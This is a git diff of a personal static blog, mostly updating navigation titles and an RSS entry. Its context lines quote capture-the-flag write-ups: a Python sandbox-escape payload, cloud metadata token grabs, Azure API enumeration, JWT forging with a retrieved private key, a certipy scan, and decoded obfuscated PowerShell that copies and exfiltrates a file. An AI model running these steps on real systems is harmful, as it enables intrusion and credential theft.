+Timing is Key: A Tale of Keystrokes and Timings
\ No newline at end of file
diff --git a/post/gadgeting-in-python-jails/index.html b/post/gadgeting-in-python-jails/index.html
index 0f93e269..eb06ad8c 100644
--- a/post/gadgeting-in-python-jails/index.html
+++ b/post/gadgeting-in-python-jails/index.html
@@ -106,4 +106,4 @@ of them, thereby executing the system commands.

.popen('id').read()
 

There you have it! This payload will work as long as there is at least one subclass in the subclasses list which makes use of sys. With that, our object oriented quest has come to an end.

Thanks for giving this a read!

\ No newline at end of file +Sandbox Escape \ No newline at end of file diff --git a/post/google-ctf-2022-treebox/index.html b/post/google-ctf-2022-treebox/index.html index 6bd7c703..f43bc591 100644 --- a/post/google-ctf-2022-treebox/index.html +++ b/post/google-ctf-2022-treebox/index.html @@ -42,4 +42,4 @@ same file read independent of the sys module.

Python AST Sandbox Escape \ No newline at end of file +I Saw a Little Elf \ No newline at end of file diff --git a/post/headache-reverse-engineering-amateursctf-2023/index.html b/post/headache-reverse-engineering-amateursctf-2023/index.html index 5613fdb8..1485f826 100644 --- a/post/headache-reverse-engineering-amateursctf-2023/index.html +++ b/post/headache-reverse-engineering-amateursctf-2023/index.html @@ -139,4 +139,4 @@ We also allocate a list of 61 None singletons since the program exi
\ No newline at end of file +Compact XOR \ No newline at end of file diff --git a/post/how-i-use-swhkd-in-my-workflow/index.html b/post/how-i-use-swhkd-in-my-workflow/index.html index cf1875a4..95afef7d 100644 --- a/post/how-i-use-swhkd-in-my-workflow/index.html +++ b/post/how-i-use-swhkd-in-my-workflow/index.html @@ -40,4 +40,4 @@ my videos. Bye!

\ No newline at end of file +Polishing and Bugfix Week \ No newline at end of file diff --git a/post/humans-suck-at-command-sanitization/index.html b/post/humans-suck-at-command-sanitization/index.html index fdb5f928..a94edcbd 100644 --- a/post/humans-suck-at-command-sanitization/index.html +++ b/post/humans-suck-at-command-sanitization/index.html @@ -51,4 +51,4 @@ commands in the code side of this endeavor. See you around.

\ No newline at end of file +Preventing Infinite Recursions From Eating Your Lunch \ No newline at end of file diff --git a/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/index.html b/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/index.html index 4d381ea5..a7b1a8d0 100644 --- a/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/index.html +++ b/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/index.html @@ -52,4 +52,4 @@ or System76. I just like what they are doing and I recommend saving up a bit to Linux Laptops Kernel Modules \ No newline at end of file +Modeling More Realistic Keybinds With Modifiers \ No newline at end of file diff --git a/post/i-switched-to-nixos/index.html b/post/i-switched-to-nixos/index.html index f51358b8..9205d163 100644 --- a/post/i-switched-to-nixos/index.html +++ b/post/i-switched-to-nixos/index.html @@ -26,4 +26,4 @@ The whole learning experience as well as daily driving NixOS has been very enjoy to get started. Once you have a rough idea, you could check out my own NixOS configuration files. Maybe you can incorporate a part of the config you find interesting into your own.

Happy Nixing!

\ No newline at end of file +Twosum \ No newline at end of file diff --git a/post/in-search-of-the-smallest-dna-compl/index.html b/post/in-search-of-the-smallest-dna-compl/index.html index 0bf77cd2..a0c3e389 100644 --- a/post/in-search-of-the-smallest-dna-compl/index.html +++ b/post/in-search-of-the-smallest-dna-compl/index.html @@ -167,4 +167,4 @@ this differently by shooting me an email!

Bye now.

\ No newline at end of file +Building an in-browser Manim clone \ No newline at end of file diff --git a/post/index.html b/post/index.html index fb73f6ec..367b15c2 100644 --- a/post/index.html +++ b/post/index.html @@ -1,4 +1,4 @@ -Posts - lavafroth

Algebraic Python Enums


Python +Posts - lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/post/index.xml b/post/index.xml index b4a7d7d2..968de565 100644 --- a/post/index.xml +++ b/post/index.xml @@ -1,4 +1,10 @@ -Posts on lavafrothhttps://lavafroth.is-a.dev/post/Recent content in Posts on lavafrothHugoen-usSun, 02 Nov 2025 19:08:46 +0530Algebraic Python Enumshttps://lavafroth.is-a.dev/post/algebraic-python-enums/Sun, 02 Nov 2025 19:08:46 +0530https://lavafroth.is-a.dev/post/algebraic-python-enums/<p>University has compelled me to use Python despite my preference for Rust, +Posts on lavafrothhttps://lavafroth.is-a.dev/post/Recent content in Posts on lavafrothHugoen-usThu, 01 Jan 2026 07:24:36 +0530Working With LUKS File Stasheshttps://lavafroth.is-a.dev/post/working-with-luks-file-stashes/Thu, 01 Jan 2026 07:24:36 +0530https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/<p><code>THIS POST IS A DRAFT</code></p> +<p>LUKS is an incredible solution for encrypting entire partitions in Linux. +Often times, however, we can&rsquo;t afford to create new partitions inside a disk +without having to completely format the drive anew.</p> +<p>In this post, I will guide you through the process of creating and working +with LUKS container files that are encrypted at rest and can be decrypted on +demand with knowledge of the passphrase.</p>Algebraic Python Enumshttps://lavafroth.is-a.dev/post/algebraic-python-enums/Sun, 02 Nov 2025 19:08:46 +0530https://lavafroth.is-a.dev/post/algebraic-python-enums/<p>University has compelled me to use Python despite my preference for Rust, primarily due to the machine learning and data science hype. One Rust feature that I dearly miss is enumerable data types that can encapsulate various other data types.</p> @@ -649,7 +655,7 @@ easy to setup Arch for gaming, thanks to programs like <a href="https://lutri code for the program running on the remote server:</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> </span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e"> -</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">addIntOvf</span>(<span style="color:#66d9ef">int</span> result, <span style="color:#66d9ef">int</span> a, <span style="color:#66d9ef">int</span> b) { </span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a <span style="color:#f92672">+</span> b; </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(a <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> b <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> result <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) diff --git a/post/keep-the-keys-clackin/index.html b/post/keep-the-keys-clackin/index.html index 37f24cb5..815e905a 100644 --- a/post/keep-the-keys-clackin/index.html +++ b/post/keep-the-keys-clackin/index.html @@ -67,4 +67,4 @@ attributes that describe the timing of a keypress and how we handle the grammar SWHKD Waycrate Wayland \ No newline at end of file +2 Afternoons, 2 Languages, 2 TUIs \ No newline at end of file diff --git a/post/kringlecon-2022-writeup/index.html b/post/kringlecon-2022-writeup/index.html index 164cc192..e246fb14 100644 --- a/post/kringlecon-2022-writeup/index.html +++ b/post/kringlecon-2022-writeup/index.html @@ -36,14 +36,14 @@ filesystem. The challenge introduction talked something about keys:

Among the files listed, we can find /mnt/vda/home/jailer/.ssh/jail.key.priv whose contents can be listed by running:

cat /mnt/vda/home/jailer/.ssh/jail.key.priv
 

This gives us the key 082bb339ec19de4935867 which can be submitted in our objectives section.

Wireshark Phishing

We begin by saying yes to the challenge, downloading the PCAP file and opening it up in wireshark. The following are the questions, their answers and explanations.

  1. There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP?

    Answer: HTTP

    Explanation: We can go to File > Export Objects > HTTP ...

Exporting HTTP objects

  1. What is the file name of the largest file we can export?

    Answer: app.php

    Explanation: In the export objects dialog, we notice the second entry with the largest size (808 kB) has the name app.php

Screenshot-from-2022-12-11-20-19-50.png

  1. What packet number starts that app.php file?

    Answer: 687

    Explanation: Right before the entry’s name, we see it starts from packet 687

  2. What is the IP of the Apache server?

    Answer: 192.185.57.242

    Explanation: We use the http filter in wireshark. We notice right at the first filtered entry, a GET request goes to 192.185.57.242

Screenshot-from-2022-12-11-20-21-06.png

  1. What file is saved to the infected host?

    Answer: Ref_Sept24-2020.zip

    Explanation: At packet 687, we can inspect the line-based text data for the HTTP response and the embedded script seems to save a blob to the file ‘Ref_Sept24-2020.zip’.

Screenshot-from-2022-12-11-20-23-02.png

// --{snip}--
-    let byteNumbers = new Array(byteCharacters.length);
+    let byteNumbers = new Array(byteCharacters.length);
     for (let i = 0; i < byteCharacters.length; i++) {
         byteNumbers[i] = byteCharacters.charCodeAt(i);
     }
     let byteArray = new Uint8Array(byteNumbers);
     
     // now that we have the byte array, construct the blob from it
-    let blob1 = new Blob([byteArray], {type: 'application/octet-stream'});
+    let blob1 = new Blob([byteArray], {type: 'application/octet-stream'});
 
     saveAs(blob1, 'Ref_Sept24-2020.zip');
 	
@@ -181,7 +181,7 @@ Default output format [None]:
     "IsTruncated": false
 }
 

Now we are asked to get the policy attached to our user. We will use the get-policy subcommand and supply the value of the PolicyArn field from the previous output to the --policy-arn flag.

aws iam get-policy \
---policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
+--policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
 
{
     "Policy": {
         "PolicyName": "TIER1_READONLY_POLICY",
@@ -199,8 +199,8 @@ Default output format [None]:
     }
 }
 

We need to view the default version of the policy.

aws iam get-policy-version \
---policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY" \
---version-id v1
+--policy-arn "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY" \
+--version-id v1
 
{
     "PolicyVersion": {
         "Document": {
@@ -493,7 +493,7 @@ Just in case they try this again, please alert on that HTTP data with message Su
 We submit this in our set of objectives and that solves this challenge. Easy? I’ll take it.

Exploit a Smart Contract

This challenge asks us to exploit flaws in a smart contract to buy ourselves a Bored Sporc NFT. Let’s go to the presale page of The Bored Sporc Rowboat Society. The presale price for a Sporc is 100 KringleCoin (KC). At this point, I checked my wallet balance and it turned out to be 455 KC, enough to buy 4 of these NFTs. First we have to pre-approve 100 KC to the address provided. Looking at the source code of the presale page (hit ^u or follow the images), especially https://boredsporcrowboatsociety.com/bsrs.js, we find that the root address of the Merkle tree is being sent in the AJAX POST request.

Screenshot-from-2022-12-12-10-45-37.png

Screenshot-from-2022-12-12-10-50-19.png

Check out the last line of the following snippet from bsrs.js:

// --{snip}--
-
+
 		var address = document.getElementById("wa").value;
 		var proof = document.getElementById('proof').value;
 		var root = '0x52cfdfdcba8efebabd9ecc2c60e6f482ab30bdc6acf8f9bd0600de83701e15f1';
@@ -637,4 +637,4 @@ dialogues.

\ No newline at end of file +Pixelated \ No newline at end of file diff --git a/post/kringlecon-2023-writeup/index.html b/post/kringlecon-2023-writeup/index.html index d9c1d869..9e5e357e 100644 --- a/post/kringlecon-2023-writeup/index.html +++ b/post/kringlecon-2023-writeup/index.html @@ -416,7 +416,7 @@ scanned 1 barcode symbols from 1 images in 0.28 seconds

The QR code links to https://8bitelf.com which has the text

flag:santaconfusedgivingplanetsqrcode
 

We can submit the flag in our objectives to mark this complete.

Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol2

Tinsel Upatree tells us: “Did you know that many games had multiple versions released? Word is: volume 2 has 2 versions!”

Hint:

  1. This feels the same, but different!
  2. If it feels like you are going crazy, you probably are! Or maybe, just maybe, you’ve not yet figured out where the hidden ROM is hiding.
  3. I think I may need to get a DIFFerent perspective.
  4. I wonder if someone can give me a few pointers to swap.

To focus on the game, let’s open the iframe in a new tab.

There are two versions of the game, where the player is either above or below a treeline with an invisible wall in the middle of the map. We want the player to be able to teleport to the other side of the invisible wall.

In the devtools Sources tab, we can look at the script being loaded under js/script.js.

// Load a ROM.
-(async function go() {
+(async function go() {
   let ranNum = Math.round(Math.random()).toString()
   let filename = ROM_FILENAME + ranNum + ".gb";
   console.log(filename);
@@ -502,7 +502,7 @@ We have a cookie called “ElfHunt_JWT” with the JWT value of “e
 

We could play the game by lowering the speed but there’s an even easier way.

Looking at the first line of the update function in the loaded script.js,

function update() {
   score >= 75 && (sessionJWT.w = !0, document.cookie = `${sessionKeyName}=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.${btoa(JSON.stringify(sessionJWT))}.; path=/; secure; samesite=none;`, gameScene.scene.pause(), window.location.reload())
   // rest of the function
-}
+}
 

we notice that the moment the score is greater than or equal to 75, the w property of the sessionJWT is set to true, the document cookie is updated, the game is paused and the window is refreshed. There is no apparent if-else condition here because the script uses some clever javascript code using the antecedent && consequent pattern. Since the operands ANDed are lazily evaluated, we just need to set the score to 75 or above.

In devtools console, we simply add the following code:

speed = 75
@@ -537,7 +537,7 @@ We can exit this interface by interrupting it with ctrl c

Let’s save this access token to an environment variable so that we can use it for subsequent requests. Since we have to use the token in the Authorization, we set another environment variable to the header value itself.

TOKEN=$(curl --http1.1 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' --header "Metadata: true" | jq -r .access_token)
 HEADER="Authorization: Bearer $TOKEN"
 

Let’s now retrieve the subscriptions and resources.

curl --header "$HEADER" \
-https://management.azure.com/subscriptions?api-version=2022-12-01
+https://management.azure.com/subscriptions?api-version=2022-12-01
 
{
   "value": [
     {
@@ -565,7 +565,7 @@ We can exit this interface by interrupting it with ctrl c  }
 }
 

Now that we have the subscription ID 2b0942f3-9bca-484b-a508-abdae2db5e64, we can use this to further drill down the resource ID.

curl --header "$HEADER" \
-https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version=2021-04-01
+https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version=2021-04-01
 
{
   "value": [
     {
@@ -585,7 +585,7 @@ We can exit this interface by interrupting it with ctrl c  ]
 }
 

We use the name of the azure website as the site name. This is the northpole-ssh-certs-fa subdomain in https://northpole-ssh-certs-fa.azurewebsites.net/.

curl --header "$HEADER" \
-https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01
+https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01
 
{
   "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web",
   "name": "northpole-ssh-certs-fa",
@@ -669,22 +669,22 @@ the public key is present in the /jwtDefault/keys/capsPubKey.key.

Chimney Scissorsticks told us that the captain likes to abbreviate words in his filenames. With that in mind, we can probe for the existence of rDecoder.tok using the newfound rMonitor.tok token for authorization.

curl https://captainscomms.com/jwtDefault/rDecoder.tok
 
Invalid authorization token provided.
 

As expected, the rDecoder.tok file does exist. To actually get it, however, we must supply the authorization header with the rMonitor token.

wget --header "Authorization: Bearer $(cat rMonitor.tok)" \
-     https://captainscomms.com/jwtDefault/rDecoder.tok
+     https://captainscomms.com/jwtDefault/rDecoder.tok
 

We repeat the process as above and paste this new token as the value for the JustWatchThis cookie.

cat rDecoder.tok | wl-copy
 

Accessing the monitor after pasting, we can decode each signal peak left to right.

Decoding the first signal peak tells us that the captain’s private key is located in a folder called TH3CAPSPR1V4T3F0LD3R.

The second signal peak decodes to e03 interval signal messages like the Lincolnshire Poacher. The contents of the message is 12249 12249 16009 16009 12249 12249 16009 16009.

The last signal peak decodes to provide an image with the frequency 10426 written on it.

Knowing the captain’s use of abbreviations, we can assume that like the public key’s name capsPubKey.key, the private key is probably named capsPrivKey.key. We can probe for it without an authorization header.

curl https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key
 
Invalid authorization token provided.
 

This means that the file exists! Let’s retrieve it with our rDecoder.tok token for authorization.

curl https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key \
---header "Authorization: Bearer $(cat rDecoder.tok)" \
--O
+--header "Authorization: Bearer $(cat rDecoder.tok)" \
+-O
 

Now that we have the private key, we can use it to sign and forge tokens with any role of our choice.

Opening the captain’s todo list, we see the captain talking about his role and how the journal he left on pixel island has details about this role.

Indeed, when we played the duck hunt game, the victory screen gave us the journal where the captain talked about the GeeseIslandSuperChiefCommunicationsOfficer role.

We can use cyberchef to change the token payload, modifying our role from radioDecoder to GeeseIslandSuperChiefCommunicationsOfficer and sign it with the private key.

We use the JWT Sign operation in our recipe, set the signing algorithm to RS256 and paste the captain’s private key in the Private/Secret Key field.

We can decode the payload from the rDecoder.tok file, replace the radioDecoder role with the new role and copy it to clipboard.

cut -d. -f2 rDecoder.tok \
-| base64 -d \
-| sed s/radioDecoder/GeeseIslandsSuperChiefCommunicationsOfficer/g \
-| wl-copy
+| base64 -d \
+| sed s/radioDecoder/GeeseIslandsSuperChiefCommunicationsOfficer/g \
+| wl-copy
 

Finally, we paste this into the input field of cyberchef.

Now, we paste the output of cyberchef as the JustWatchThis cookie’s value.

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
 

The transmitter asks for a frequency, a go-date and a go-time. We supply the frequency we found earlier. The go-date and go-time fields only accepted 4 digits. I supplied 1224 and 1600 from the decoded version of the second signal peak.

The I pressed the transmission button (Tx). Nothing happened.

At this point, I made a guess and changed the go-time to 1200, since 12/24 12:00 is super exciting. @@ -753,7 +753,7 @@ and issuing an HTTP request to management.azure.com’s API.

}

We can query for the North Pole IT KV Key Vault Store, and subsequently we get the following JSON.

curl --header "$HEADER" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2022-07-01" \
-| jq
+| jq
 
{
   "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
   "name": "northpole-it-kv",
@@ -845,10 +845,10 @@ drw-rw-rw-          0  Sun Dec 17 01:15:12 2023 super_secret_research
 2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
 3. Profit
 

The super_secret_research directory is restricted only to researchers, we can even test this by trying to list the directory which yields an error.

certipy find \
-  -vulnerable \
-  -username elfy@northpole.local \
-  -dc-ip 10.0.0.53 \
-  -password "$PW"
+  -vulnerable \
+  -username elfy@northpole.local \
+  -dc-ip 10.0.0.53 \
+  -password "$PW"
 
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
 Password:
@@ -1080,15 +1080,15 @@ To narrow down base64 encoded commands further, we will query only those process
 

We make sure to sort timestamp as ascending.

Now let’s decode each record. To do this, we copy the part of the command after the -enc flag and run the following command:

echo THEBASE64STRING | base64 -d
 

Keep in mind, we replace THEBASE64STRING with the thing we just copied.

Let’s decode the first base64 string.

echo SW52b2tlLVdtaU1ldGhvZCAtQ29tcHV0ZXJOYW1lICRTZXJ2ZXIgLUNsYXNzIENDTV9Tb2Z0d2FyZVVwZGF0ZXNNYW5hZ2VyIC1OYW1lIEluc3RhbGxVcGRhdGVzIC0gQXJndW1lbnRMaXN0ICgsICRQZW5kaW5nVXBkYXRlTGlzdCkgLU5hbWVzcGFjZSByb290WyZjY20mXWNsaWVudHNkayB8IE91dC1OdWxs \
-| base64 -d
+| base64 -d
 
Invoke-WmiMethod -ComputerName $Server -Class CCM_SoftwareUpdatesManager -Name InstallUpdates - ArgumentList (, $PendingUpdateList) -Namespace root[&ccm&]clientsdk | Out-Null
 

Nope, this looks like a legitimate command for installing Windows updates. Let’s try the second one.

The base64 command in the second record when decoded as follows

echo KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn \
-| base64 -d
+| base64 -d
 

yields the following powershell command:

( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join ''
 

Now that is some obfuscated command we can expect an attacker to invoke. We note the timestamp for this second record and submit it.

Answer: 2023-12-24T16:07:47Z

  1. What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding)

From the previous query output, we can try decoding the encoded commands one by one.

The -split '' | %{$_[0]} part of the command splits the preceding string into its constituent characters, these are then rearranged in reverse and the trailing -join '' joins the reversed characters back into a string.

Undoing the reverse, we get the following command:

powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt
 

We see that the attacker copied the NaughtyNiceList.txt file from the fileshare to C:\Desktop.

Answer: NaughtyNiceList.txt

  1. The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?

We move on to decode the base64 encoded command in the third record.

echo W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4= \
-| base64 -d
+| base64 -d
 

This gives us the following obfuscated command:

[StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))|& ((gv '*MDr*').NamE[3,11,2]-joiN
 

This obfucation technique relies on representing each character in a string as their ASCII numeric representation, which are later reconstructed when running the command.

To perform the reconstruction manually we can run the following python code:

encoded = (100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101)
 print(''.join(map(chr, encoded)))
@@ -1105,4 +1105,4 @@ we mark them safe. If the values differ or the domain is entirely different, we
 Reverse Engineering
 DMARC
 Web
\ No newline at end of file
+Abstracting Structured Patterns in Concurrent Programming
\ No newline at end of file
diff --git a/post/liberating-14gib-of-space/index.html b/post/liberating-14gib-of-space/index.html
index 5364b30f..647ea04f 100644
--- a/post/liberating-14gib-of-space/index.html
+++ b/post/liberating-14gib-of-space/index.html
@@ -21,4 +21,4 @@ as there are legitimate duplicates which, if deleted, can brick a system. I&rsqu
 running jdupes in individual directories like Music, Documents, etc.

\ No newline at end of file +Notepad \ No newline at end of file diff --git a/post/modeling-more-realistic-keybinds-with-modifiers/index.html b/post/modeling-more-realistic-keybinds-with-modifiers/index.html index e9911154..15f23b95 100644 --- a/post/modeling-more-realistic-keybinds-with-modifiers/index.html +++ b/post/modeling-more-realistic-keybinds-with-modifiers/index.html @@ -51,4 +51,4 @@ If you are wondering why this is not a complete binding, remember we still need SWHKD Waycrate Wayland \ No newline at end of file +Edge cases? You Shall Not Pass! \ No newline at end of file diff --git a/post/modes-unbinds-and-other-ensembled-parser-patterns/index.html b/post/modes-unbinds-and-other-ensembled-parser-patterns/index.html index b346f7d9..f7d2b073 100644 --- a/post/modes-unbinds-and-other-ensembled-parser-patterns/index.html +++ b/post/modes-unbinds-and-other-ensembled-parser-patterns/index.html @@ -59,4 +59,4 @@ around their start and end.

Okay, that’s about it for now, I’l SWHKD Waycrate Wayland

\ No newline at end of file +I Solemnly Swear to Never Buy a Gaming Laptop Again \ No newline at end of file diff --git a/post/nixos-notes-to-self/index.html b/post/nixos-notes-to-self/index.html index ebd586e4..02edca87 100644 --- a/post/nixos-notes-to-self/index.html +++ b/post/nixos-notes-to-self/index.html @@ -27,4 +27,4 @@ collect2: error: ld returned 1 exit status NixOS Notes Troubleshooting \ No newline at end of file +Guide: Changing Recents Provider on /e/OS \ No newline at end of file diff --git a/post/nixos-secureboot-shenanigans/index.html b/post/nixos-secureboot-shenanigans/index.html index a618b101..d46de385 100644 --- a/post/nixos-secureboot-shenanigans/index.html +++ b/post/nixos-secureboot-shenanigans/index.html @@ -12,8 +12,8 @@ and error.

error: attribute 'overrideScope''
 required for lanzaboote, the Rust utility for the secure boot shim1. After looking through this issue on github
 as well as the lanzaboote repository, it dawned on me that I had been using a version of lanzaboote released even before July this year.

This meant I had to update the version in my flake.nix inputs like so

     lanzaboote = {
 -      url = "github:nix-community/lanzaboote/v0.3.0";
-+      url = "github:nix-community/lanzaboote/v0.4.1";
-       inputs.nixpkgs.follows = "nixpkgs";
++      url = "github:nix-community/lanzaboote/v0.4.1";
+       inputs.nixpkgs.follows = "nixpkgs";
      };
 

With that, I ran another nix flake update and enqueued my system for a rebuild. I deleted a few entries from /boot/EFI/nixos because the new release uses double the scratch space as needed by the previous version. Also, I had around 16 older generations of my setup for the sake of posteriety.

Where is the PKI Bundle?

The rebuild led to yet another error, this time concerning a nonexistent path.

Installing Lanzaboote to "/boot"...
@@ -36,4 +36,4 @@ causes you to land in a generation that is unavailable in the systemd-boot menu.
 sbctl
 lanzaboote
 Troubleshooting
\ No newline at end of file
+Wrapping up GSoC 2024
\ No newline at end of file
diff --git a/post/oh-my-god-they-killed-kenny/index.html b/post/oh-my-god-they-killed-kenny/index.html
index ef85e62a..bed55da3 100644
--- a/post/oh-my-god-they-killed-kenny/index.html
+++ b/post/oh-my-god-they-killed-kenny/index.html
@@ -26,4 +26,4 @@ We will use the $"string" syntax to interpolate the short ID into t
 South Park
 Streaming
 Web Parsing
\ No newline at end of file
+Bash Jail 3
\ No newline at end of file
diff --git a/post/page/2/index.html b/post/page/2/index.html
index e18c9931..85327034 100644
--- a/post/page/2/index.html
+++ b/post/page/2/index.html
@@ -1,4 +1,10 @@
-Posts - lavafroth

Wrapping up GSoC 2024


EBNF +Posts - lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/post/page/3/index.html b/post/page/3/index.html index efacd272..72bf8ae6 100644 --- a/post/page/3/index.html +++ b/post/page/3/index.html @@ -1,4 +1,10 @@ -Posts - lavafroth

Edge cases? You Shall Not Pass!


EBNF +Posts - lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/post/page/4/index.html b/post/page/4/index.html index 73209e51..dc2f70fc 100644 --- a/post/page/4/index.html +++ b/post/page/4/index.html @@ -1,4 +1,7 @@ -Posts - lavafroth

Compact XOR


AmateursCTF +Posts - lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/post/page/5/index.html b/post/page/5/index.html index c0483ccb..8c8189fd 100644 --- a/post/page/5/index.html +++ b/post/page/5/index.html @@ -1,4 +1,10 @@ -Posts - lavafroth

Treebox


Google CTF +Posts - lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/post/page/6/index.html b/post/page/6/index.html index b33cecdc..ade80281 100644 --- a/post/page/6/index.html +++ b/post/page/6/index.html @@ -1,4 +1,9 @@ -Posts - lavafroth

Liberating 14GiB of disk space


Powershell +Posts - lavafroth

Notepad

